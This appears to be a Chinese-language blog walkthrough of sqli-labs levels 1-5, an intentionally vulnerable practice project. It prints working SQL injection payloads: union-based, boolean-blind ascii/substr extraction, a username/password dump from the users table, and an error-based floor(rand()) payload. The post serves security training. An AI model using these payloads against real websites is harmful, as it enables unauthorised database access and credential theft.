生命在于折腾——SQL注入的实操(一)less1-5

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

sql-lib项目,本篇文章介绍关卡1-5。

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less-1

1. 判断注入类型

首先输入?id=1。
在这里插入图片描述
输入?id=1’
在这里插入图片描述
输入?id=1’ --+,语句正常,输入?id=1 and 1=1以及?id=1 and 1=2都正常,说明是单引号字符型注入
2. 判断字段数。
输入?id=1’ order by 3–+,正常显示,输入?id=1’ order by 4–+,报错,所以有三列数据。
在这里插入图片描述
在这里插入图片描述

  1. 获取回显点
    输入?id=796(这里是不存在的id)’ union select 1,2,3 --+ ,这里正常显示,所以有三列数据,有两个显示位。
    在这里插入图片描述

  2. 获取数据库信息
    (1)获取数据库名长度
    输入id=1’ and length(database())=8(这里是猜测,可以换)–+,如果正确,则会正常显示,如果错误,则会返回空,这里可以知道数据库的名字长度为8。
    在这里插入图片描述

(2)获取数据库名
输入?id=1’ and ascii(substr(database(),1,1))=115(这个是ascii码,可以换)–+,如果正确,则会正常显示,如果错误,则会返回空,根据上一条获取的数据库名字长度,对substr截取的位置进行更改,可以查询到完整的数据库名字,这里的数据库名字为security。
在这里插入图片描述

  1. 获取表信息
    (1)首先获取表名长度。
    输入?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6–+。(这里是从security库中截取第一个表,并判断该表的名字长度,如果符合上面填的6,则返回正常,否则返回空
    在这里插入图片描述
    (2)获取表名。
    和数据库名字一样,可以用ascii码判断,也可以直接用等于判断,这里输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101–+。最后匹配完成全字符第一个表是emails。
    在这里插入图片描述

  2. 获取字段信息
    这里输入?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=105–+。==这里查询的是security库中,users表中的第一个字段的对应ascii码是否为105,如果是,则返回正常,否则返回为空。
    在这里插入图片描述
    最后可以输入?id=-1’ union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users --+。来获取到详细信息。
    在这里插入图片描述

三、less-2

  1. 判断注入类型
    输入?id=1 and 1=1–+返回正常,输入?id=1 and 1=2–+返回为空,所以判断为数字型注入。

  2. 判断回显点
    在这里插入图片描述
    发现这个表有三列。

  3. 获取数据库信息
    和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。

  4. 获取表信息
    和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。

  5. 获取字段信息
    和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。

四、less-3

  1. 判断注入类型
    输入?id=1 正常显示,输入?id=1’ 报错。
    在这里插入图片描述
    从报错信息可用发现1被(‘’)包裹,所以只需要将’)注释掉即可,输入?id=1’)–+。返回正常。
    在这里插入图片描述

  2. 判断回显点
    输入?id=1’) order by 3–+,正常显示,输入4报错。在这里插入图片描述

  3. 获取数据库信息
    获取数据库名字长度。
    在这里插入图片描述

获取数据库名字。在这里插入图片描述

  1. 获取表信息
    获取表名长度。
    在这里插入图片描述
    获取表名。
    在这里插入图片描述

  2. 获取字段信息
    在这里插入图片描述
    在这里插入图片描述

五、less-4

  1. 判断注入类型
    输入?id=1,可以发现1被(“”)包裹,所以我们只需要将”)注释掉即可,这里输入?id=1")–+即可。
    在这里插入图片描述

  2. 判断回显点
    在这里插入图片描述

  3. 获取数据库信息
    库名长度。在这里插入图片描述
    库名。
    在这里插入图片描述

  4. 获取表信息
    获取表长度。
    在这里插入图片描述
    获取表名。
    在这里插入图片描述

  5. 获取字段信息
    这里的table_name可以去掉了。在这里插入图片描述在这里插入图片描述

六、less-5

  1. 判断注入类型
    首先输入?id=1,发现显示You are in…,如果输入?id=1’,则会报错,所以我们先将’注释掉。
    在这里插入图片描述

  2. 判断回显点
    在这里插入图片描述

  3. 获取数据库信息
    可以获取到数据库名长度
    在这里插入图片描述
    也可以根据判断,猜出数据库名。
    在这里插入图片描述

  4. 获取表信息
    表名长度。
    在这里插入图片描述
    表名。
    在这里插入图片描述

  5. 获取字段信息
    在这里插入图片描述
    但是在让其打印全部信息时出现了问题,因为他只会返回You are in…。这里我们可以使用?id=-1’ union select count(*),1,concat(‘~’,(select concat_ws(‘[’,password,username) from users limit 0,1),‘~’,floor(rand()*2)) as a from information_schema.tables group by a–+。让其将我们要查找的信息在报错信息中返回。
    在这里插入图片描述

七、总结与小计

以上是sql-lib的1-5关关卡,需要有一定mysql基础和计算机思维能力,如果有什么错误请大家在评论区留言,感谢。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

易水哲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值